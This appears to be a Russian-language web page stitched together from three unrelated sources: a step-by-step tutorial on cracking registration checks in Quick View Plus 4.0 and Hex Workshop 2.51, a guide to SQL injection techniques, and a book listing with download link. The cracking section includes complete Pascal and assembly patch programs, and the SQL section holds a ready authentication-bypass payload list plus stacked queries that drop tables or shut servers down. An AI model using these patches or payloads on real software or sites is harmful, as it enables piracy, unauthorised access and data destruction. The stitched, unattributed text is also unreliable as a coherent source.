Для начала я научу вас пользоваться W32Dasm. Я не хочу вам давать детальную помощь, как делать краки, но я могу научить вас самим добывать себе умения и навыки взлома. Когда вы используете W32Dasm, знайте, что он не даст вам серийные номера или коды, он лишь покажет путь, где находится место, где можно эти номера вводить. То, что я делаю каждый день при взломе программ, будет описано в этом справочнике, шаг за шагом.
Инструменты
Из инструментов взлома вам нужно следующее:
- W32Dasm 8.5 или боолее позднюю версию,
- Hacker’s View 5.24,
- Norton Commander (я позднее объясню, почему я его использую).
- Turbo Pascal 7.0
- TASM и TLINK 3.0
Как кракнуть Quick View Plus 4.0
- Запустите ORDER32.EXE
- Кликните на $49 Single User License (вы можете кликнуть и на $59), затем ACCEPT, потом UNLOCK BY PHONE.
- Введите любой код для получения сообщения об ошибке (вы должны записать это сообщение), потом выйдите из программы, кликнув на CANCEL.
- Запустите Norton Comander, перейдите в директорию QVP.
- Скопируйте ORDER32.EXE в ORDER32.EXX (для сохранности), а затем скопируйте ORDER32.EXE в 1.EXE (для использования в W32Dasm).
- Запустите W32Dasm и раздессимблируйте 1.EXE.
- После этого, кликните на STRING DATA REFERENCE, найдите там сообщение «You have entered an incorrect code.Please check your entry» (вы должны помнить,что это было сообщение об ошибке) и дважды щелкните мышью по нему.
- Закройте SDR окно. Вы должны увидеть сообщение:
КАК СТАТЬ ХАЦКЕРОМ И КРЯКНУТЬ САЙТ
* Possible reference to String Resource «You have entered. :004049F8 6A29 push 00000029 :004049FA FF353CCE4000 push dword ptr [0040CE3C]
:004049CD 755A jne 00404A29 * Possible reference to String Resource «You must select. :004049CF 6A20 push 00000020 . . * Possible reference to String Resource «Unlock Error»
Перейдите обратно в Norton Commander, запустите HIEW ORDER32.EXE, нажмите F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите 3DCD. Вы должны увидеть следующее :
00003DCD: 755A jne 000003E29 00003DCF: 6A20 push 020 00003DD1: FF15 call w,[di]
Как кракнуть Hex WorkShop 2.51
- Запустите HWORKS32.EXE
- Кликните на HELP, About HEX Wo..
- Введите любой код, чтобы получить сообщение об ошибке (вы должны записать это сообщение) и выйдите из программы.
- Запустите Norton Commander, перейдите в директорию HWS.
- Скопируйте файл HWORKS32.EXE в HWORKS32.EXX (для сохранности) и скопируйте файл HWORKS32.EXE в 1.EXE (для использования в W32Dasm).
- Запустите W32Dasm и «разберите» 1.EXE.
- После этого, нажмите мышью на FIND TEXT, введите «You have entered an» (вы должны помнить, что это сообщение об ошибочно введенном серийном номере) и найдите соответствующую строку (вы не сможете сделать это в SDR-окне !)
- Вы должны увидеть следующую строку:
Как взломать программу
Name: DialogID_0075, # of Controls=003, Caption: «Registration Unsucce.. 001-ControlID:FFFF, Control Class:»»Control Text:»You have entered an.. 002-ControlID:FFFF, Control Class:»»Control Text:»Please confirm you..
* Possible reference to DialogID_0075 :0041E233 6A75 push 00000075 :0041E235 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]
:0041E145 837DEC00 cmp dword ptr [ebp-14], 00000000 :0041E149 0F8479000000 je 0041E1C8 :0041E14F 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]
:0041E149 0F8479000000 je 0041E1C8.
Вы должны на нижней статусной строке увидеть оффсетный адрес, типа:
0001D549: 0F847900 je 00001D5C6 ———- (1) 0001D54D: 0000 add [bx][si],al 0001D54F: 8B8DFCFE mov cx,[di][0FEFC]
* Possible reference to DialogID_0075 :00430ADD 6A75 push 00000075 :00430ADF 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]
:004309EF 837DEC00 cmp dword ptr [ebp-14], 00000000 :004309F3 0F8479000000 je 00430A72 :004309F9 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]
004309F3 0F8479000000 je 00430A72.
На статусной строке внизу экрана вы должны следующее:
0002FDF3: 0F847900 je 00001D5C6 ———- (1) 0002FDF7: 0000 add [bx][si],al 0002FDF9: 8B8DFCFE mov cx,[di][0FEFC]
Как сделать собственный патч
Здесь напечатан исходный код на Паскале :
uses Crt; const A: array[1..1] of record A: Longint; B: Byte; end = ((A: $3DCD; B: $EB)); var Ch: Char; I: Byte; F: file; FN: file of byte; Size: longint; begin Writeln(‘TKC»s Little Patch’); writeln(‘Crack for QVP 4.0 by TKC/PC »97’); Assign(F, ‘ORDER32.EXE’); Reset(F, 1); if IOResult <> 0 then begin writeln(‘File not found!’); halt(1); end; for I := 1 to 1 do begin Seek(F, A[I].A); Ch := Char(A[I].B); Blockwrite(F, Ch, 1); end; Writeln(‘File successfully patched!’); end.
Исходник на ассемблере (для изучающих ассемблер):
DOSSEG .MODEL SMALL .STACK 500h .DATA .CODE PatchL EQU 6 Buffer Db PatchL Dup(1) handle dw ? intro db «TKC’s Little Patch»,0dh,0ah,»Crack for QVP 4.0 by TKC/PC ’97$» FileName db «ORDER32.EXE»,0 ;<——- filename to be patched notfound db 0dh,0ah,»File not found!$» cracked db 0dh,0ah,»File successfully patched. Enjoy!$» Cant db 0dh,0ah,»Can’t write to file.$» Done db «File has been made.$» String db 0EBh,0 ;<————- byte «EB» to be patched START: mov ax,cs mov ds,ax mov dx,offset intro ;point to the time prompt mov ah,9 ;DOS: print string int 21h jmp openfile openfile: mov ax,cs mov ds,ax mov ax,3d02h mov dx,offset FileName int 21h mov handle,ax cmp ax,02h je filedontexist jmp write filedontexist: mov ax,cs mov ds,ax mov dx,offset notfound mov ah,9 ;DOS: print string int 21h ;display the time prompt jmp exit Write: mov bx,handle mov cx,0000h mov dx,3DCDh ;<————- offset «3DCD» mov ax,4200h int 21h mov cx,patchl mov dx,offset String mov ah,40h mov cx,01h int 21h mov ax,cs mov ds,ax mov dx,offset cracked mov ah,9 ;DOS: print string int 21h ;display the time prompt jmp Exit Exit: mov ah,3eh int 21h mov ax,4c00h int 21h END START
Заключительные слова
Здесь несколько важных функций, используемых для крэкинга :
Hex: Asm: Means 75 or 0F85 jne jump if not equal 74 or 0F84 je jump if equal EB jmp jump directly to 90 nop no operation 77 or 0F87 ja jump if above 0F86 jna jump if not above 0F83 jae jump if above or equal 0F82 jnae jump if not above or equal 0F82 jb jump if below 0F83 jnb jump if not below 0F86 jbe jump if below or equal 0F87 jnbe jump if not below or equal 0F8F jg jump if greater 0F8E jng jump if not greater 0F8D jge jump if greater or equal 0F8C jnge jump if not greater or equal 0F8C jl jump if less 0F8D jnl jump if not less 0F8E jle jump if less or equal 0F8F jnle jump if not less or equal
Ваши небольшие знания по Ассемберу, вам, естественно, помогут, и они вам потребуются для использования Soft-ICE. Кроме того, вы сможете кракать эти куски с помощью W32Dasm как маньяк 🙂 Вы не сможете дизассемблировать программы на Visual Basic, для него вам понадобятся специальные декомпилеры, но с помощью SoftIce’a поломать их можно и без декомпилятора.
Источник: delphibaza.ru
Простой пример взлома программы
userName = getRequestString(«UserName»); request = «SELECT * FROM Users WHERE UserName = » + userName;
Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.
Комментирование
Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’— позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.
SELECT * FROM members WHERE username = ‘admin’—‘ AND password = ‘password’
Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:
DROP/*some comment*/sampletable DR/**/OP/*random comment to cheat*/sampletable
А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:
/*!Если поместить код в такой комментарий — он будет исполнен только в MYSQL. Можно даже ограничить минимальную версию*/ такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии SELECT /*!!50100 1/0, */ 1 FROM tablename
Манипуляции со строками
Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:
#SQL Server SELECT login + ‘-‘ + password FROM members #MySQL SELECT CONCAT(login, password) FROM members
В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:
//0x633A5C626F6F742E696E69 == c:boot.ini SELECT CONCAT(‘0x’,’633A5C626F6F742E696E69′)) SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
Обход аутентификации
Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:
‘ or 1=1 ‘ or 1=1— ‘ or 1=1# ‘ or 1=1/* admin’ — admin’ # admin’/* admin’ or ‘1’=’1 admin’ or ‘1’=’1′— admin’ or ‘1’=’1’# admin’ or ‘1’=’1’/* admin’or 1=1 or »=’ admin’ or 1=1 admin’ or 1=1— admin’ or 1=1# admin’ or 1=1/* admin’) or (‘1’=’1 admin’) or (‘1’=’1′— admin’) or (‘1’=’1’# admin’) or (‘1’=’1’/* admin’) or ‘1’=’1 admin’) or ‘1’=’1′— admin’) or ‘1’=’1’# admin’) or ‘1’=’1’/* 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055 admin» — admin» # admin»/* admin» or «1»=»1 admin» or «1»=»1″— admin» or «1»=»1″# admin» or «1»=»1″/* admin»or 1=1 or «»=» admin» or 1=1 admin» or 1=1— admin» or 1=1# admin» or 1=1/* admin») or («1″=»1 admin») or («1″=»1″— admin») or («1″=»1″# admin») or («1″=»1″/* admin») or «1»=»1 admin») or «1»=»1″— admin») or «1»=»1″# admin») or «1»=»1″/* 1234 » AND 1=0 UNION ALL SELECT «admin», «81dc9bdb52d04dc20036dbd8313ed055
Union injection
UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.
Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.
SELECT name, price FROM products UNION ALL SELECT name, pass FROM members #Такой запрос позволит получить данные о таблицах и найти таблицу пользователей UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables)
Последовательные запросы
Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:
#Удаление таблицы SELECT * FROM products WHERE productName = «»; DROP users— #Выключение SQL Server SELECT * FROM products WHERE productName = «»; shutdown –
Возможный урон
Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.
Error-Based
Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.
Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:
‘ HAVING 1=1 — ‘ GROUP BY table.columnfromerror1 HAVING 1=1 — ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 — . ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — Если ошибки перестали появляться, значит столбцы закончились
Слепые инъекции
В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.
Условные выражения
Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:
#MySQL IF(condition,true-part,false-part) #SQL Server IF condition true-part ELSE false-part #Oracle BEGIN IF condition THEN true-part; ELSE false-part; END IF; END; #PostgreSQL SELECT CASE WHEN condition THEN true-part ELSE false-part END;
Boolean-based
Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:
TRUE : SELECT ID, Username, Email FROM [User]WHERE AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78— #Этот запрос говорит нам, что ASCII-значение первого символа больше 78 #дальнейший перебор определит точное значение
Time-Based
Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:
SELECT * FROM products WHERE WAIT FOR DELAY ’00:00:15′
Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.
Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.
Источник: proglib.io
Взлом программного обеспечения — Анализ и использование кода — Хогланд Г., Мак-Гроу Г.
Название: Взлом программного обеспечения — Анализ и использование кода.
Автор: Хогланд Г., Мак-Гроу Г.
Эта книга рассказывает о том, как взламывать программный код. Самым подробным образом, чем это было сделано когда-либо ранее, высококвалифицированные авторы расскажут о технологии проведения атак и взлома программного кола. Книга насыщена примерами кода из реальных программ атаки и исправлений, вносимых хакерами в популярные приложения. Читателям наглядно демонстрируется, как выявлять неизвестные уязвимые места в программном обеспечении и как можно их использовать для взлома компьютеров. Книга предназначена для профессионалов в области программного обеспечения и может использоваться как пособие для создания более безопасного кода.
Содержание
Предисловие. 14
Введение. 16
О чем эта книга. 16
Как пользоваться этой книгой. 18
Не слишком ли опасна эта информация? 18
Благодарности. 20
Благодарности Грега. 20
Благодарности Гари. 20
Глава 1. Программное обеспечение — источник всех проблем. 23
Краткая история программного обеспечения. 24
Ошибки в программах есть всегда. 31
Три основные проблемы. 34
Что такое безопасность программного обеспечения? 43
Резюме. 44
Глава 2. Шаблоны атак. 47
Классификация терминов. 48
Оценка открытости системы. 51
Ознакомление с технологией взлома. 57
Схемы атак, или планы злоумышленника. 63
Пример атаки: взломанный компилятор C++ от компании Microsoft. 65
Обозначения шаблонов атак. 75
Резюме. 76
Глава 3. Восстановление исходного кода и структуры программы. 77
Внутри программы. 78
Средства для восстановления исходного кода. 82
Методы для восстановления исходного кода. 83
Методы исследования. 88
Создание дополнительных модулей для IDA. 94
Декомпиляция и дизассемблирование программного обеспечения. 103
Декомпиляция на практике: восстановление исходного кода helpctr.exe. 104
Автоматизированный глобальный аудит для выявления уязвимых мест. 110
Создание собственных средств взлома. 117
Создание базового средства для охвата кода. 131
Резюме. 135
Глава 4. Взлом серверных приложений. 137
Доверие к входным данным. 138
Расширение привилегий. 140
Доверие на уровне привилегий процесса. 141
Кому нужны права администратора? 141
Привилегированные процессы, которые выполняют чтение данных из непроверенных источников. 142
Процессы, использующие привилегированные компоненты. 143
Поиск точек входа. 143
Поиск файлов для входных данных. 144
Трассировка входных данных. 145
Использование GDB и IDA-Pro по отношению к двоичному файлу SOLARIS/Sparc-программы. 145
Подключение к запущенному процессу. 146
Использование программы Truss для моделирования исследуемого процесса на платформе Solaris. 148
Использование доверительных отношений, созданных при настройке среды исполнения. 149
Поиск непосредственно исполняемых файлов. 150
Сведения о текущем рабочем каталоге. 150
Что делать, если Web-сервер не выполняет CGI-программы? 151
А как насчет неисполняемых файлов? 152
Использование правил политики. 153
Конкретные методы атак на серверные приложения. 154
Внедрение команд для командного интерпретатора. 154
Использование хакером каналов, портов и прав доступа. 166
Использование свойств файловой системы. 168
Использование переменных среды. 172
Использование внешних переменных. 173
Использование недостатков при аутентификации сеанса. 175
Подбор идентификаторов сеанса. 176
Альтернативные варианты аутентификации. 179
Вызов ошибки для проверки надежности кода обработки ошибки. 180
Резюме. 180
Глава 5. Взлом клиентских программ. 181
Клиентские программы в качестве цели атаки. 181
Сервер управляет клиентом. 182
Ловушка для хакера. 183
Служебные сигналы. 184
Старая (но актуальная) история. 184
Основные способы использования служебных символов. 186
Управление принтерами. 187
Управляющий код для систем Linux. 188
Проблема возврата. 189
Использование переносимых сценариев. 190
Использование атаки с возвратом для доверенных сайтов. 191
Клиентские сценарии и вредоносный код. 195
Поиск уязвимых локальных вызовов. 196
Web-браузеры и технология ActiveX. 200
Внесение данных в сообщения электронной почты. 202
Атаки с помощью вредоносного содержимого. 204
Контратака: переполнение буфера на стороне клиента. 206
Резюме. 207
Глава 6. Подготовка вредоносных данных. 209
Дилемма защитника. 211
Фильтры. 212
Взаимодействующие системы. 212
Обнаружение вторжений. 213
Различные типы систем обнаружения взлома. 213
Внесение обновлений для систем обнаружения вторжений. 215
Эффект альтернативного кодирования для систем IDS. 215
Исследование по частям. 217
Вернемся к Windows-программе APISPY. 218
Поиск ключевых мест в коде. 219
Трассировка. 219
Обратная трассировка из уязвимого места. 220
Тупиковые пути. 222
Трассировка во время выполнения программы. 223
Быстрые остановы. 225
Отслеживание данных в буфере. 226
«Ход конем». 227
Точки останова для страниц памяти. 227
Поиск по шаблону. 228
Восстановление кода анализатора. 228
Преобразование символов. 229
Байтовые операции. 229
Операции для работы с указателями. 230
Символы завершения строки NULL. 231
Восстановление исходного кода сервера I-Planet 6.0. 232
Ошибки при классификации. 236
Создание эквивалентных запросов. 237
Исследование на уровне функций API. 237
Посторонние символы. 238
Эквивалентные метасимволы. 240
Управляющие метасимволы. 240
Преобразование символов. 242
Скомбинированные атаки. 244
Искажение данных в файлах журналов. 245
Резюме. 245
Глава 7. Переполнение буфера. 247
Переполнение буфера. 247
Переполнение буфера в стеке для забавы и с пользой. 249
Искажение данных в памяти. 249
Вектор вторжения. 250
Где заканчивается вектор вторжения и начинается полезная нагрузка? 252
Выбор нужного адреса. 252
«Верхние» и «нижние» адреса памяти. 252
Прямой и обратный порядок байтов. 253
Использование регистров. 254
Использование существующего кода или блоков данных в памяти. 255
Переполнение буфера и встроенные системы. 255
Встроенные системы, используемые в военной и коммерческой сферах. 256
Переполнения буфера в системах управления базами данных. 258
Хранимые процедуры. 258
Программы с интерфейсом командной строки. 259
Клиентские программы базы данных. 259
Переполнение буфера и Java. 259
Совместное использование Java и C/C++. 260
Хранимые процедуры и библиотеки DLL. 261
Переполнения буфера в результате обработки содержимого файлов. 261
Атаки на переполнение буфера с помощью механизмов фильтрации и аудита транзакций. 264
Переполнение буфера с помощью переменных среды. 264
Проблема множественных операций. 266
Поиск возможностей для осуществления переполнения буфера. 266
Сокрытие ошибки при обработке исключений. 267
Использование дизассемблера. 267
Переполнение буфера в стеке. 268
Буферы фиксированного размера. 268
Функции, для которых не требуется наличие завершающего символа NULL. 270
Проблема завершающего символа NULL. 271
Перезапись фреймов обработчика исключений. 274
Арифметические ошибки при управлении памятью. 275
Отрицательные числа как большие положительные числа. 275
Несоответствие между знаковыми и беззнаковыми значениями. 277
Значения со знаком и управление памятью. 280
Уязвимые места, связанные со строкой форматирования. 283
Вывод данных из любой области памяти. 284
Спецификатор формата %п. 285
Спецификатор формата %00и. 286
Выявление проблемы в коде. 287
Переполнение буфера в куче. 288
Функция malloc и куча. 290
Переполнения буфера и программы на C++. 291
Таблицы vtable. 291
Вредоносные данные. 292
Сведения о размещении в памяти. 293
Размер полезной нагрузки. 294
Использование жестко закодированных вызовов функций. 294
Использование динамических таблиц переходов. 295
Определение раздела данных. 296
Защита с помощью XOR. 296
Использование контрольных сумм. 297
Полезная нагрузка для архитектуры RISC. 298
Отложенная передача управления. 298
Полезная нагрузка для архитектуры MIPS. 298
MIPS-команды. 298
Определение положения в памяти. 299
Как избежать нулевых байтов в машинном коде MIPS. 300
Системные вызовы на платформе MIPS. 301
Структура полезной нагрузки для платформы SPARC. 301
Окно регистров для платформы SPARC. 301
Использование стека на платформе SPARC. 303
Поиск вызовов функций на платформе SPARC. 305
Структура полезной нагрузки на платформе PA-RISC. 305
Использование стека на компьютерах PA-RISC. 306
Переполнение буфера на платформе HP/UX PA-RISC. 308
Операции ветвления на платформе PA-RISC. 308
«Трамплины» между областями памяти. 309
Информация о положении в памяти. 310
Саморасшифровывающаяся полезная нагрузка для платформы HP/UX. 312
Структура полезной нагрузки для платформы AIX/PowerPC. 313
Определение положения в памяти. 314
Защита для кода командного интерпретатора PowerPC. 314
Удаление символов NULL. 315
Полезная нагрузка для нескольких платформ. 316
Кроссплатформенные команды пор. 317
Код пролога и эпилога для защиты функций. 318
Устранение защиты с помощью сигнальных значений. 318
Успешная атака на неисполняемые стеки. 321
Резюме. 322
Глава 8. Наборы средств для взлома. 325
Вредоносные программы. 326
Что такое набор средств для взлома. 326
Что такое набор средств для взлома на уровне ядра. 326
Набор средств для взлома на уровне ядра и область надежного кода. 327
Простой набор средств для взлома на уровне ядра Windows XP. 327
Создание набора средств для взлома. 327
Контролируемая среда разработки. 328
Исходные файлы набора средств для взлома. 328
Инструменты разработки. 328
Драйверы с доступом на уровне ядра. 328
Основная структура драйвера. 329
Когда программы используют драйвер. 330
Возможность выгрузки драйвера. 330
Регистрация драйвера. 332
Использование функции SystemLoadAndCalllmage. 333
Перехват вызовов. 335
Сокрытие процесса. 336
Перехват системного вызова. 336
Схема перехвата вызова. 337
Удаление записи о процессе. 337
Альтернативное внедрение процесса. 340
Перенаправление данных с помощью «троянских» программ. 340
Перенаправление и недостатки Tripwire. 340
Драйвер для перенаправления. 341
Сокрытие файлов и каталогов. 344
Исправление двоичного кода. 346
«Замочная скважина» в программе. 347
Установка заплат в ядро Windows NT для блокировки всей системы защиты.
Аппаратный вирус.
Операции чтения и записи для энергонезависимой памяти. 358
Операции чтения и записи для памяти, встроенной в важнейшие устройства
Вирус CIH. 364
Память EEPROM и синхронизация. 366
Память EEPROM на сетевых адаптерах Ethernet. 367
Последовательная или параллельная память EEPROM. 369
Как сгорают аппаратные средства. 370
Производители. 370
Обнаружение устройств с помощью спецификации CFI. 371
Определение устройств с помощью режима ID или JEDEC ID. 372
Низкоуровневый доступ к диску. 373
Операции чтения/записи для главной загрузочной записи (MBR). 373
Искажение данных в образах компакт-дисков. 374
Добавление к драйверу возможности доступа по сети. 374
Использование библиотеки NDIS. 374
Перевод интерфейса в неразборчивый режим. 376
Обнаружение нужного сетевого адаптера. 377
Использовние тегов boron для обеспечения безопасности хакера. 380
Добавление интерактивного командного интерпретататора. 380
Прерывания. 381
Архитектура запросов на прерывание. 381
Перехват прерываний. 383
Загадка программируемого контроллера прерываний. 383
Регистрация нажатий клавиш. 384
Программа регистрации нажатий клавиш в Linux-системе. 385
Программа регистрации нажатий клавиш для Windows NT/2000/XP. 385
Контроллер клавиатуры. 386
Усовершенствованные возможности наборов средств для взлома. 386
Использование набора средств для взлома в качестве отладчика. 386
Отключение защиты системных файлов Windows. 387
Непосредственная запись данных в физическую память. 387
Переполнение буфера в ядре. 387
«Заражение» образа ядра. 388
Перенаправление исполнения. 388
Обнаружение наборов средств для взлома. 388
Резюме.
Взаимодействие по сети.
Рост масштаба сетей и глобальное подключение компьютеров к Internet привело к одновременному увеличению количества возможных атак, причем методы организации этих атак максимально упростились. Даже небольшие ошибки в программах стали очень быстро распространяться по всей сети и выводить из строя огромное количество компьютеров. Например, множество таких фактов приводится в списке рассылки СОМР.RISKS и в книге Computer-Related Risks (автор Нойманн, 1995).
Поскольку доступ по сети не требует непосредственного присутствия человека, то запуск автоматических атак осуществляется довольно просто. Автоматически запускаемые атаки изменили сам характер угроз в информационном мире. Рассмотрим первые формы хакинга. В 1975 году желающие выполнять бесплатные телефонные звонки могли воспользоваться устройством под названием Blue Box.
Такие устройства продавались в студенческих городках, но еще нужно было найти продавца. Кроме того, эти устройства тоже стоили денег.
Таким образом, только ограниченный круг людей владел устройствами Blue Box и, поэтому угроза распространялась крайне медленно. Сравним это с нашим временем. Если обнаруживается уязвимое место, которое позволяет злоумышленникам получить доступ, например, к платным телепрограммам, то информация немедленно опубликовывается в Internet и за несколько часов миллионы людей могут загрузить себе программу атаки.
Бесплатно скачать электронную книгу в удобном формате, смотреть и читать:
Скачать книгу Взлом программного обеспечения — Анализ и использование кода — Хогланд Г., Мак-Гроу Г. — fileskachat.com, быстрое и бесплатное скачивание.
Скачать pdf
Ниже можно купить эту книгу по лучшей цене со скидкой с доставкой по всей России. Купить эту книгу
Источник: obuchalka.org